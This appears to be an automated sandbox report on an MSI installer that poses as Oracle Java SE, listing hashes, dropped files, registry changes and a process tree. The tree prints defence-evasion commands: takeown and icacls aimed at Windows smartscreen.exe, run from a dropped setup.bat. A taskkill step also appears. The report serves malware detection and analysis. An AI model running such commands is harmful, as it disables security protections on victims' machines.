Analysis
- max time kernel
106s - max time network
126s - platform
windows10_x64 - resource
win10v20210408 - submitted
24/06/2021, 00:12
Static task
static1
Behavioral task
behavioral1
Sample
938b2e065955369403bd5ed78c063b44.msi
Resource
win7v20210410
0 signatures
0 seconds
General
- Target 938b2e065955369403bd5ed78c063b44.msi
- Size 4.3MB
- Sample210624-cedwdgmhee
- SHA256 02f79fab5c5cec65fcbd8ad039537afbe7badc815d55e63d031ae527f4a7bbd5
- MD5 938b2e065955369403bd5ed78c063b44
- SHA1 1e98ff12a5f4a390bbceae538e1177a65ad52dad
- SHA512 159eccba99a0eefbaf078561527bae998202e893724205e0350f20e1c7fd09ccebcc757b433765d223bfcad650f91870e7e2b29031868112636f4061aa0afeb3
- MD5 SHA1 SHA512
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
flow pid Process 9 1096 msiexec.exe 11 1096 msiexec.exe 13 1096 msiexec.exe - Executes dropped EXE 2 IoCs
pid Process 1808 j_service.exe 4532 Register.exe - Possible privilege escalation attempt 3 IoCs
pid Process 3368 icacls.exe 1872 takeown.exe 904 icacls.exe - Loads dropped DLL 12 IoCs
pid Process 2700 MsiExec.exe 1900 MsiExec.exe 1808 j_service.exe 1808 j_service.exe 1808 j_service.exe 1808 j_service.exe 1808 j_service.exe 1900 MsiExec.exe 4532 Register.exe 4532 Register.exe 1808 j_service.exe 1808 j_service.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 1872 takeown.exe 904 icacls.exe 3368 icacls.exe - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe - Drops file in Program Files directory 31 IoCs
description ioc Process File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libssl-1_1.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\msvcp140.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-utility-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-filesystem-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-environment-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-heap-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-multibyte-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-runtime-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-stdio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\AccessibleHandler.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l2-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-processthreads-l1-1-1.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-synch-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-conio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-private-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libcurl.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-string-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-time-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-timezone-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\NSudo.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-locale-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-math-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libcrypto-1_1.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-convert-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-process-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\vcruntime140.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-localization-l1-2-0.dll msiexec.exe - Drops file in Windows directory 14 IoCs
description ioc Process File opened for modification C:\Windows\Installer\f74599f.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\SourceHash{B7FC664C-132B-401B-9170-ED3E538079BC} msiexec.exe File opened for modification C:\Windows\Installer\MSI62D9.tmp msiexec.exe File created C:\Windows\Installer\wix{B7FC664C-132B-401B-9170-ED3E538079BC}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI5DA7.tmp msiexec.exe File created C:\Windows\Installer\f7459a1.msi msiexec.exe File created C:\Windows\Installer\{B7FC664C-132B-401B-9170-ED3E538079BC}\Logo.ico msiexec.exe File created C:\Windows\Installer\f74599f.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI5D58.tmp msiexec.exe File opened for modification C:\Windows\Installer\{B7FC664C-132B-401B-9170-ED3E538079BC}\Logo.ico msiexec.exe File opened for modification C:\Windows\Installer\MSI69FE.tmp msiexec.exe - Kills process with taskkill 1 IoCs
pid Process 3028 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe - Modifies registry class 23 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\ProductIcon = "C:\\Windows\\Installer\\{B7FC664C-132B-401B-9170-ED3E538079BC}\\Logo.ico" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\PackageName = "938b2e065955369403bd5ed78c063b44.msi" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C466CF7BB231B1041907DEE3350897CB\ProductFeature msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\ProductName = "Oracle Java SE" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\PackageCode = "0F3EC1FE8AEFA504AA4C8350053D1A5C" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Version = "134217999" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\4283AD5241F3747428B68F1D87E32188\C466CF7BB231B1041907DEE3350897CB msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C466CF7BB231B1041907DEE3350897CB msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\4283AD5241F3747428B68F1D87E32188 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2888 msiexec.exe 2888 msiexec.exe 3952 powershell.exe 2692 powershell.exe 2508 powershell.exe 2508 powershell.exe 3952 powershell.exe 2692 powershell.exe 3952 powershell.exe 2508 powershell.exe 2692 powershell.exe 4504 powershell.exe 4604 powershell.exe 4560 powershell.exe 4656 powershell.exe 4504 powershell.exe 4604 powershell.exe 4604 powershell.exe 4676 powershell.exe 4676 powershell.exe 4848 powershell.exe 4560 powershell.exe 4848 powershell.exe 4560 powershell.exe 4780 powershell.exe 4780 powershell.exe 4656 powershell.exe 4656 powershell.exe 4936 powershell.exe 4936 powershell.exe 4504 powershell.exe 4504 powershell.exe 4676 powershell.exe 5016 powershell.exe 5016 powershell.exe 4604 powershell.exe 5116 powershell.exe 5116 powershell.exe 4780 powershell.exe 1420 powershell.exe 1420 powershell.exe 4560 powershell.exe 4848 powershell.exe 4656 powershell.exe 4296 powershell.exe 4296 powershell.exe 4676 powershell.exe 4936 powershell.exe 2200 powershell.exe 2200 powershell.exe 5016 powershell.exe 4780 powershell.exe 5116 powershell.exe 4848 powershell.exe 4848 powershell.exe 1420 powershell.exe 4296 powershell.exe 4936 powershell.exe 2200 powershell.exe 5016 powershell.exe 5116 powershell.exe 1420 powershell.exe 4296 powershell.exe 2200 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1096 msiexec.exe Token: SeIncreaseQuotaPrivilege 1096 msiexec.exe Token: SeSecurityPrivilege 2888 msiexec.exe Token: SeCreateTokenPrivilege 1096 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1096 msiexec.exe Token: SeLockMemoryPrivilege 1096 msiexec.exe Token: SeIncreaseQuotaPrivilege 1096 msiexec.exe Token: SeMachineAccountPrivilege 1096 msiexec.exe Token: SeTcbPrivilege 1096 msiexec.exe Token: SeSecurityPrivilege 1096 msiexec.exe Token: SeTakeOwnershipPrivilege 1096 msiexec.exe Token: SeLoadDriverPrivilege 1096 msiexec.exe Token: SeSystemProfilePrivilege 1096 msiexec.exe Token: SeSystemtimePrivilege 1096 msiexec.exe Token: SeProfSingleProcessPrivilege 1096 msiexec.exe Token: SeIncBasePriorityPrivilege 1096 msiexec.exe Token: SeCreatePagefilePrivilege 1096 msiexec.exe Token: SeCreatePermanentPrivilege 1096 msiexec.exe Token: SeBackupPrivilege 1096 msiexec.exe Token: SeRestorePrivilege 1096 msiexec.exe Token: SeShutdownPrivilege 1096 msiexec.exe Token: SeDebugPrivilege 1096 msiexec.exe Token: SeAuditPrivilege 1096 msiexec.exe Token: SeSystemEnvironmentPrivilege 1096 msiexec.exe Token: SeChangeNotifyPrivilege 1096 msiexec.exe Token: SeRemoteShutdownPrivilege 1096 msiexec.exe Token: SeUndockPrivilege 1096 msiexec.exe Token: SeSyncAgentPrivilege 1096 msiexec.exe Token: SeEnableDelegationPrivilege 1096 msiexec.exe Token: SeManageVolumePrivilege 1096 msiexec.exe Token: SeImpersonatePrivilege 1096 msiexec.exe Token: SeCreateGlobalPrivilege 1096 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeShutdownPrivilege 1900 MsiExec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe Token: SeTakeOwnershipPrivilege 2888 msiexec.exe Token: SeRestorePrivilege 2888 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1096 msiexec.exe 1096 msiexec.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4532 Register.exe 4532 Register.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2888 wrote to memory of 2700 2888 msiexec.exe 77 PID 2888 wrote to memory of 2700 2888 msiexec.exe 77 PID 2888 wrote to memory of 2700 2888 msiexec.exe 77 PID 2888 wrote to memory of 1900 2888 msiexec.exe 78 PID 2888 wrote to memory of 1900 2888 msiexec.exe 78 PID 2888 wrote to memory of 1900 2888 msiexec.exe 78 PID 1900 wrote to memory of 3512 1900 MsiExec.exe 80 PID 1900 wrote to memory of 3512 1900 MsiExec.exe 80 PID 1900 wrote to memory of 3512 1900 MsiExec.exe 80 PID 3512 wrote to memory of 1872 3512 cmd.exe 82 PID 3512 wrote to memory of 1872 3512 cmd.exe 82 PID 3512 wrote to memory of 1872 3512 cmd.exe 82 PID 3512 wrote to memory of 904 3512 cmd.exe 83 PID 3512 wrote to memory of 904 3512 cmd.exe 83 PID 3512 wrote to memory of 904 3512 cmd.exe 83 PID 3512 wrote to memory of 3028 3512 cmd.exe 84 PID 3512 wrote to memory of 3028 3512 cmd.exe 84 PID 3512 wrote to memory of 3028 3512 cmd.exe 84 PID 3512 wrote to memory of 3368 3512 cmd.exe 85 PID 3512 wrote to memory of 3368 3512 cmd.exe 85 PID 3512 wrote to memory of 3368 3512 cmd.exe 85 PID 3512 wrote to memory of 3952 3512 cmd.exe 86 PID 3512 wrote to memory of 3952 3512 cmd.exe 86 PID 3512 wrote to memory of 3952 3512 cmd.exe 86 PID 3512 wrote to memory of 2692 3512 cmd.exe 87 PID 3512 wrote to memory of 2692 3512 cmd.exe 87 PID 3512 wrote to memory of 2692 3512 cmd.exe 87 PID 3512 wrote to memory of 2512 3512 cmd.exe 88 PID 3512 wrote to memory of 2512 3512 cmd.exe 88 PID 3512 wrote to memory of 2512 3512 cmd.exe 88 PID 2512 wrote to memory of 2508 2512 cmd.exe 89 PID 2512 wrote to memory of 2508 2512 cmd.exe 89 PID 2512 wrote to memory of 2508 2512 cmd.exe 89 PID 3512 wrote to memory of 4504 3512 cmd.exe 92 PID 3512 wrote to memory of 4504 3512 cmd.exe 92 PID 3512 wrote to memory of 4504 3512 cmd.exe 92 PID 3512 wrote to memory of 4532 3512 cmd.exe 93 PID 3512 wrote to memory of 4532 3512 cmd.exe 93 PID 3512 wrote to memory of 4532 3512 cmd.exe 93 PID 3512 wrote to memory of 4560 3512 cmd.exe 94 PID 3512 wrote to memory of 4560 3512 cmd.exe 94 PID 3512 wrote to memory of 4560 3512 cmd.exe 94 PID 3512 wrote to memory of 4604 3512 cmd.exe 95 PID 3512 wrote to memory of 4604 3512 cmd.exe 95 PID 3512 wrote to memory of 4604 3512 cmd.exe 95 PID 3512 wrote to memory of 4656 3512 cmd.exe 96 PID 3512 wrote to memory of 4656 3512 cmd.exe 96 PID 3512 wrote to memory of 4656 3512 cmd.exe 96 PID 3512 wrote to memory of 4676 3512 cmd.exe 97 PID 3512 wrote to memory of 4676 3512 cmd.exe 97 PID 3512 wrote to memory of 4676 3512 cmd.exe 97 PID 3512 wrote to memory of 4780 3512 cmd.exe 98 PID 3512 wrote to memory of 4780 3512 cmd.exe 98 PID 3512 wrote to memory of 4780 3512 cmd.exe 98 PID 3512 wrote to memory of 4848 3512 cmd.exe 99 PID 3512 wrote to memory of 4848 3512 cmd.exe 99 PID 3512 wrote to memory of 4848 3512 cmd.exe 99 PID 3512 wrote to memory of 4936 3512 cmd.exe 100 PID 3512 wrote to memory of 4936 3512 cmd.exe 100 PID 3512 wrote to memory of 4936 3512 cmd.exe 100 PID 3512 wrote to memory of 5016 3512 cmd.exe 101 PID 3512 wrote to memory of 5016 3512 cmd.exe 101 PID 3512 wrote to memory of 5016 3512 cmd.exe 101 PID 3512 wrote to memory of 5116 3512 cmd.exe 103
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\938b2e065955369403bd5ed78c063b44.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1096
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7CC4235065465C4732B896D6502019502⤵
- Loads dropped DLL
PID:2700
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 890518455DD6FEDD9E43FCB34CDE9C63 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1900 -
C:\Windows\syswow64\cmd.exe"cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:3512 -
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\smartscreen.exe" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1872
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\smartscreen.exe" /reset4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:904
